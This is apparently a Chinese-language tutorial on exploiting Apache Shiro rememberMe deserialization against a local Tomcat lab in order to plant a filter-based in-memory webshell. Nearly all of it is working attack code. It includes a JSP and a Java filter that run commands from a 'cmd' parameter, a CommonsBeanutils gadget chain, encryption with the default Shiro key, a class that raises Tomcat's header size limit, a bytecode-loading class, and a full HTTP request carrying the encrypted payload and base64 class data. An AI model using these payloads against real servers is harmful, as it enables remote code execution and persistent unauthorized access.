shiro反序列化注入内存马 tomcat filter内存马 先写一个filter内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.util.Map" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import ="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import ="java.lang.reflect.Constructor" %> <%@ page import ="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import ="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %> <% final String name = "evil" ; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null ){ Filter filter = new Filter () { @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......" ); String cmd; if ((cmd = servletRequest.getParameter("cmd" )) != null ) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java .io.BufferedReader( new java .io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder (); String line; while ((line = bufferedReader.readLine()) != null ) { stringBuilder.append(line + '\n' ); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return ; } filterChain.doFilter(servletRequest,servletResponse); System.out.println("doFilter" ); } @Override public void destroy () { } }; FilterDef filterDef = new FilterDef (); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern("/*" ); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); } %>
构造恶意类 将内存马逻辑写入恶意类static关键字,再通过TemplatesImpl动态加载字节码从而注册filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 public class BehinderFilter extends AbstractTranslet implements Filter { static { try { final String name = "evil" ; final String URLPattern = "/*" ; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs" ); Configs.setAccessible(true ); Map filterConfigs = (Map) Configs.get(standardContext); BehinderFilter behinderFilter = new BehinderFilter (); FilterDef filterDef = new FilterDef (); filterDef.setFilter(behinderFilter); filterDef.setFilterName(name); filterDef.setFilterClass(behinderFilter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap (); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true ); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); } catch (NoSuchFieldException ex) { ex.printStackTrace(); } catch (InvocationTargetException ex) { ex.printStackTrace(); } catch (IllegalAccessException ex) { ex.printStackTrace(); } catch (NoSuchMethodException ex) { ex.printStackTrace(); } catch (InstantiationException ex) { ex.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Do Filter ......" ); String cmd; if ((cmd = servletRequest.getParameter("cmd" )) != null ) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java .io.BufferedReader( new java .io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder (); String line; while ((line = bufferedReader.readLine()) != null ) { stringBuilder.append(line + '\n' ); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return ; } filterChain.doFilter(servletRequest, servletResponse); System.out.println("doFilter" ); } @Override public void destroy () { } }
加密序列化恶意类 获取恶意类字节码,使用cb链进行动态类加载
cb链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public class CommonsBeanutils1Shiro { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public byte [] getPayload(byte [] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{clazzBytes}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (null , String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{obj, obj}); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(queue); oos.close(); return barr.toByteArray(); } }
加密cb链序列化文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class Client_memshell { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(com.govuln.shiroattack.memshell.BehinderFilter.class.getName()); byte [] payloads = new CommonsBeanutils1Shiro ().getPayload(clazz.toBytecode()); AesCipherService aes = new AesCipherService (); byte [] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==" ); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
用 clazz.toBytecode() 就不需要先手动编译成 .class 文件,直接在运行时拿到该类的 原始字节码。
注入
恶意序列化文件成功注入,并在反序列化时动态加载并初始化了恶意类,注册恶意filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public class TomcatHeaderSize extends AbstractTranslet { static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context" ); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service" ); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req" ); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize" ); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler" ,null ); contextField.setAccessible(true ); headerSizeField.setAccessible(true ); serviceField.setAccessible(true ); requestField.setAccessible(true ); getHandlerMethod.setAccessible(true ); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0 ; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0 ; j < classes.length; j++) { if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global" ); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors" ); globalField.setAccessible(true ); processorsField.setAccessible(true ); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null )); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0 ; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); headerSizeField.set(tempRequest.getInputBuffer(),100000 ); } } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(100000 ); } } } } catch (Exception e) { } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
将其用cb链注入并执行,成功修改maxHttpHeaderSize
从POST请求体中发送字节码数据 这种方法的原理:在反序列化中动态加载类 。
利用反序列化加载一个类的加载器ClassLoader 将出入进来的代码动态加载执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public class MyClassLoader extends AbstractTranslet { static { try { javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest(); java.lang.reflect.Field r=request.getClass().getDeclaredField("request" ); r.setAccessible(true ); org.apache.catalina.connector.Response response = ((org.apache.catalina.connector.Request) r.get(request)).getResponse(); javax.servlet.http.HttpSession session = request.getSession(); String classData=request.getParameter("classData" ); byte [] classBytes = new sun .misc.BASE64Decoder().decodeBuffer(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass" ,new Class []{byte [].class, int .class, int .class}); defineClassMethod.setAccessible(true ); Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0 ,classBytes.length); cc.newInstance().equals(new Object []{request,response,session}); }catch (Exception e){ e.printStackTrace(); } } @Override public void transform (DOM arg0, SerializationHandler[] arg1) throws TransletException { } @Override public void transform (DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException { } }
如下命令得到class文件BehinderFilter.class的base64
1 cat BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'
rememberMe中放入通过shiro的AES+Base64加密MyClassLoader.java拿到加密后的数据,classData传输BehinderFilter.class的base64,要记得进行一次url编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /shirodemo_war/ HTTP/1 .1 Host : localhost:8081 Cache -Control: max-age=0 Upgrade -Insecure-Requests: 1 User -Agent: Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/117 .0 .5938 .132 Safari/537 .36 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/avif,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3;q=0 .7 Sec -Fetch-Site: same-originSec -Fetch-Mode: navigateSec -Fetch-User: ?1 Sec -Fetch-Dest: documentsec -ch-ua: "Chromium" ;v="117" , "Not;A=Brand" ;v="8" sec -ch-ua-mobile: ?0 sec -ch-ua-platform: "Windows" Referer : http://localhost:8081 /shirodemo_war/login.jspAccept -Encoding: gzip, deflate, brAccept -Language: zh-CN,zh;q=0 .9 Cookie : rememberMe=Sxn55LY5RQBqpwSD064UUv090SLbCVBEVdd1rUjJ1nROv9IYg+XvMwzsnxEx8rpBSgsS2MpQkx30KRV8dp21oFCuF2Kt1yTg27zU+23 rE2zP5ddKdYDaklvz57NUnPdI57LPE72GB2Et1e0+iTP6quqDEL6xNcNcPFQG5SGZmIiCIgnKM8Ar2L18zYYN9ninPQgwrb0F6sg+3 XPgh/ByhcY1IgBzxRjyXmRqqxC/5 dMz3b14ptbqilmGE0xOwI61n84Bad+Vzj5N6QgGpdAuR6NSuI1Ric+ByPp+8 vHky2PmDAreHNfCed7Uo/rbsFjIN1fSASpy4pDRibDVS3TNg5oUFvyv2gCbgeFLaR82hPC1amOXDIDatJuYUbm5ivJVn+SM1efH1LpN8teH4EtC5um0O/SGXAEywOFyJ6oxfAzkXjcHQMhXKtQO14VhEwEj/umPX7EjIPhI0kBioc1FJJ9sFnTR7R5sxTcZ02b0oLGveJj0XaEg5cGJpWRXWszjSk+DQZKeBt2APEOJDikVhEsAFyAQKHXDnlYiKPD2XGeAj1nR6oLmnJoBHmUb541DHbNqPPnXEet2NC0PZ61IanTkembDxmOj9/HOX5XJpAB6G6m7mWZg40LrELJPuNrerlJvu10zp2yBdGgGfoPmqpIhZjC4gz70Ta5fUpit5OP1vKWxB5sd/K96m3fjwz10hfmXPoe7kJFZ33lX8+OfaSx5knM+HNGmBnmEiey2W7RmwaV1WsBRG2wwyECshfa9YWpGRN/rRRo/GWkVwTg3k2ECiUQGKWekR7sS24syleK6xLkhrgzlXCDwXO6MW7+0 gQmChlgoflkedFiarWxE1EjVblU6HQZSUVg9f2DhBEvIfRO1CBwv6hOwB+pAsqvhBl4g1FAVwx14aY5uEMkTcEnbnoXKOrgx/nxUDQdgW4x68UoCb66CkVRhJVYQq4UQlB+rsJHKHSQBcRvO6PcYpIb/KR310vDdRErx2H2KCLPBP0t5mjF3IQhCenUKaR+zFvvh9vlHYeFr1mFBKOzP+5 PntRZ6Ou3VhRiEqCgXS3ObN0E44conRFNfbun0HJTzCueViIOP98SZmZHHglMrVw8p4DWJ7obRy2BYxN1325xiMvzUDild+HTeOkaSm/L8oAcxRtrP2KNm6l84nWe0JDlA+oskaO0cRy71JiWqNXkbQzVhAs6p5hfKISro4fnzXWdd205yqRbYivq/zhnw/1 /WZTOeUHpt5I+Kk9Lh6mBW8uC4lxtqhgdL3QZM9P5UjZodtACpN+PNxjroMZJrAUYspHevf+N/OIxgjsGWhjQ7YuFu/WbP9M/vkJdDMrKCvkD1MfvCZii+4 yp+6 MFrBuVteEjiWnsJqkmCJfAFO6SjUsMp3J/MxgXfPRh6dV5pcP2U8vTEIr06yi680u7gLWEVErdhwHrgYYE3zPTADKfwamdormIxZGG/z1arZ60a9XpMNzGh2NZjy3rZTd9DUhZRYPIOZH8gIAuwDNr3mY3L7Ssi5KM0+VoZaiy4lDZHB78+zP7NC3qma5DwH3RSIFDNlp3T4HUNGr9QNP7Hpn5TDUkBKPme1P4Th6qhHRN6nNaoY5vRDuL5IZZfZHA0Cuy2HXXvXdbbSmLi7irGpU7yuteWl7woz4d1oHBNFrBEnJfEyxaha5uMiY8X663PSCqM4yXupWARI4st9sJJ2YoLX5s2S7HCtqOVbZ5gB9DU0oXFtG0cBXsrc46FdfiWH6TvHftxJQu4LGJCSR4G2+orqto2nqCnPioDjlWRX/Mi16eN1w9QkGQxu3F+V5C+FmpTJcn+nqPim0SzO4ls4Nz++witnZzjvaEzddJ9Gxs1Tpx1oQgvRpgdI4WHte639aTb/nEJh4T+E+RhMUBTV8Te4iN1rRZTVeqOzwd281DbvigFDbTiyhGugmEMRPDrDeNx6UN4gVnAUeuaXhvMsUzel7WU4FyAVg7Vaqi40RaXDu7YTGtIX42d1dlZXu6fmAgIIuoo+AEy5LFs2Kg/5 B/amx73P8uL/FRkAh0x9s6ix7x2kyjUcxOmX6JK5VFLLnB8jvvVmEhiYUqsf8LKeEF+raONJoppzOMF+vU05s1dqtQu7iZy8wMeuZNZMDVO82rBR6M/JN9Z7KoWjAoj3nlgPyuEEfPxQCEc9bKFQu0F75UVkh9UoyooFhwK+8 iKDY7T+LUIsF30wAEvbpzJn8VVOJxBV4U144dgbwfbQhA8xVsJqub+dWbpGDsbZ9wJwlRLbleZ+3 T2fVMM0EhZpv7QLI8agIllmtix4NgLVXNL05DfVJuZIS7X9LwNwme3DX5m/MnbJnjtzCRTgefjahNacmNCm3FKHtVszVRY0OoOZ+J5BjotlFgEVr8GNAlCDb+yL/Cy4qQaxVn2gBId2GT39XwRxKzd+5 Aief9yZxMTRhGwiZr/iMDxHzNUizOA/VIkOZty59njqQvAp4taarIZsdl+w27AlRl0PNzgXJ01bcOVQNYVL62WzNoxTN1b2DiMYp6L+/3 s2FIpWBT9DZvNNZlbwQMPw79R23QghpWXoL5HGxubqnnVoLAk5MeuaPyCuS1jEBjO7jKGHyWsLPMkCc6yC5Q8pGwij5jN45ujYCAiY1Jr2ANY+kZmsiTcw6EMguRUMxskwMuZFAkAnN0xmyE5CORxQ9PgbWJI71sawMkfWEgFyb9X6iNUPUSzShDB+BYrQgz0GzV+0 An9M42ABVsx+FXNxCIXUNFoYiiQJzA0zvo6G0rUCY1QQq4qOKUNXChIIcG0SkvRibZBvYPP/Dsgyw56cHNHaVAv759ZAQ6eAqQKRhT5VAXQB9/yMOJIGrtKZodVvyTE2Y3rVoiba+JCKGgBPrLiQS2BFwvBduQqMXtuI1yIGPeoQYsM+kQ2fbNpHwH1m70vZuFsHc8/mIKq3uNVg+8 bovCxijip8EYcqROx1KXvchsBDcPGwqPIYo00xCOFG627qQQT4+Qov1ctJZnHikmnt5F+3 LR0/KTNlOeB8o8wq7kCyF8Sb0/tXT8eFGhNseXUBzIBnIg3+gdQoZEqLuPJCb1QIXGJy8R/Dt9TghT9qhPBTUc3XUlQ03nXzskjFBw/TipZLjIvoVTqRlt584EajBsg2serD2yXGHIxfnBtPxZKeWk+FlAew32DwCG73jOyOR3u+myxsgY+V4FaAKkzRcahIvASXmRqDpJKpchnrJKALFkuoR++iAHs4AKmvBmPm4NPyaBLMwXaKrRCw4o0jMrElxX/brDg7bTz0FOVqL5zfdCHiWwRNsO0mPjts+rxesMt6W9Q4EQZeLhzSp2IkWAKQ/P5qAgCzvW1cS3Ta7sA8zOwekE3DujFY2Vj/H/SbUQmHxU1NBmez7zWrQ4zeUnKxACCQeLtrDwNWJOhakV3fKZ45ipasDWNwYF54UFZw+j5/1 VndJBa1R9I5CRN95Cqj0xTLFhLigg9RkaKSkMYqpmM58qxtKiDW7DJWd8WUUWwIMxfDFnzXNPHIbthGSzRjMv1NMBNM5v1j+AzFQGzCKJD3EkhW0u1h5vYI2CVya+y8cD1KRtWKc91dBDqTWuxfZ50QFFGPy7McD3IFzqEVAk4Fo0mJUiM8hsLzieMEc1QBB/rGV6lHsacvko11rMUybSl79JO8ij6D5YvC10hH1As72eGmgL/mCNbe4u+q5FoOTXauiQBdlxZpeyG+DJK53f4IS+nirzVsn/HNOE+vqyHfB9MVaDvQtxGeIOWedlwER/F+9 Az2n6lEsZkrDRvtbNlo+3 T618WskkSI70SKFJn5nJI27m89RcBdKIUoqTY+n3S9ajZ7vDWpIDiES9BTo08ZPasNSw9PxyeK+0 sEmdU1FI5ETok6rk3OVbAPwJvyfxKiMXhNgbkJCjQq7jVlw/Vj9ARySVYRmb4S8VvyS8V3gI5kZxnnkNOhyIE30ebErlXkLjTs5UE/w6JNDzUPVxamGbqhPiTGOPd1yCLqJSuApkGJ/UqN3HpP3ZHmQ0wPaBSj5TSKZ5411tZDLwXWDo6+88 wLqQpW3lv9IQBrdWbEGDTge3WAWfNWb3BoWn8rtDYJFYkVB4CE9zYUoJwKdWMY8DgF3qGF7wXntHBApUXC6NAjL3GShkihJ1lCH0ogXRVsab167UdHjJKxQubh74ejwiV47knvIroZcwOtHQTcf/InC5d/jGXFVx3cWFyq4bXPAIvJFzBAbFv5sXRuNYdHnYj89sErKY5woWz1+kA6vKnb45vDX0fwKqU21f+07 j4NcJ0jIDpcaVyZtC0wwnhCFV7kIa32nQkTluLItjuQEnz5hacYVA5FzEwk/o1Bn8rzH6gpyETcgt6knE3JKyWB+ZJgzljLRq02l2rK6Tcn1aV0DGmuqaz8irIXFnxC33wLL0IS00Yzkpp744qI/oOmqpmsR7aPcrT91qHvnP1vHDwQW476KVMb7NEPjR+ol/of4Th9QRbvmDNSTv3KSlO/HMCtgC3gHmtT0uKMh4jtDJoBEavf73jP7AEJJqifLpbqOYpgeFByLtGeZreRtgfvgZf9mTL8f8tYSUgTFh55QZq+QrvqETAyNN2QQ00DWXCsJ7Ln8yGrb34o7YTYH5/2 RHftJDvIrzrmb2aTOPS7FDShUP2tbPRvAYXSM2ebch+JKPcCrTXkLhWA05yAdzMg1OvOdtiCQmb1iHhyY0nzKDJGVV/j/8 +lNx0Eeyf28EeTQNhsHlIipiAzqYa7WfWWlwNr7G1Affgfnjhg8b8oVKAxeBymDSoAaFO2fwBS9nv0V4rlkeL1P7133qsEzZeRhszwWlwThQdZmVpGpt3qRU4sEUqwOD6fz75Sha4TenCCnR6yAFP/Pa9rayUoEfXQJYQ9NVGex/v85ZUF/GO8YOZ4XkvqRhGP1OezoPicsQUcGpU0tUaz7kTW68EASnlBG95RyRfb39dwZyn8PQt6hPbWh2pa4wVBXNING+HrKCKsYigPjqUYoLbyvl6JILwwASJT1anIeol7nFAFQx0QUPPq0TvOfxwU/5 Il3yFdI6J4n6+eiR/iv6ZSLY/6 ZayVynhTELyDBGhodSd+Pey1SjekAY6E9a9F02AQH9kcXCn9rVpfA057wfgrqUGOxWUZZahvYUDeXQmhlJyBXk59ehPHtd+85 HI8+IXpw1iPefTdS+qW7bwy9LRZvoiPX2BT9yhnilbXz0Okb4whF8NfexoFPPLcLc7vpaYlaPcqj9Aj2UGX7hZ5JRrh8q0mH1m0FTS9iSZYizpyyF31uuvDofwOqo+Z6jpnuCN9pe78qgZlouBad3bJ18tw91xKJU7AePCXCDiJelZMUZT9/4 vbp2fY1puCZ1hp2NLnkw4iVVGHe/NGXbglab1JlpBNREehfVFp7zgb8FCn42GuwvXCLfDGXer5E67lwoaIQPuZyU=Content -Type: application/x-www-form-urlencodedContent -Length: 10610 classData =yv66vgAAADQBewoAYgDECQDFAMYIAMcKAMgAyQcAygcAywsABQDMBwDNCgAIAMQIAIkKAAgAzggAiwgAjQsABQDPCADQCgDRANIIANMIANQLANUA1ggA1woA2ADZBwDaCgDRANsKABYA3AoA2ADdCADeCgAdAN8IAOAHAOEHAIYJAOIA4woAHQDkCgDlAOYHAOcKACIAxAsABQDoCgDpAOoKACIA6woA2ADsCgAqAO0KAB0A7gcA7woA4gDwCgDlAPEKAB0A8goAKgDSBwDzCgAvAPQLAPUA9ggAfQgA9wgA+AoA+QD6CgD5APsHAPwKADcA/QsA/gD/BwEACgAdAQEIAKcKAB0BAgoBAwDmCgEDAQQHAQUHAQYKAEEAxAcBBwoAQwDECgBDAQgKAEMBCQoAHQEKCgBDAQsKADoBDAcBDQoASgDECgBKAQ4KAEoBCQkBDwEQCgEPAREKAEoBEgoAOgETBwEUBwEVCgAdARYKARcA5goBFwEYCwBAAM4HARkKAFgA9AcBGgoAWgD0BwEbCgBcAPQHARwKAF4A9AcBHQoAYAD0BwEeBwEfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADBMY29tL2dvdnVsbi9zaGlyb2F0dGFjay9tZW1zaGVsbC9CZWhpbmRlckZpbHRlcjsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcBIAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7BwEhAQAIZG9GaWx0ZXIBAFsoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlO0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOylWAQABawEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADmV2aWxjbGFzc19ieXRlAQACW0IBAAlldmlsY2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAtwYWdlQ29udGV4dAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwDzBwEiAQAHZGVzdHJveQEACDxjbGluaXQ+AQAEbmFtZQEAClVSTFBhdHRlcm4BABV3ZWJhcHBDbGFzc0xvYWRlckJhc2UBADJMb3JnL2FwYWNoZS9jYXRhbGluYS9sb2FkZXIvV2ViYXBwQ2xhc3NMb2FkZXJCYXNlOwEAD3N0YW5kYXJkQ29udGV4dAEAKkxvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0OwEABmFDbGFzcwEAB0NvbmZpZ3MBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmJlaGluZGVyRmlsdGVyAQAJZmlsdGVyRGVmAQAxTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmOwEACWZpbHRlck1hcAEAMUxvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlck1hcDsBAAtjb25zdHJ1Y3RvcgEAH0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBADJMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL0FwcGxpY2F0aW9uRmlsdGVyQ29uZmlnOwEAAmV4AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAC1MamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBAD5MamF2YS9sYW5n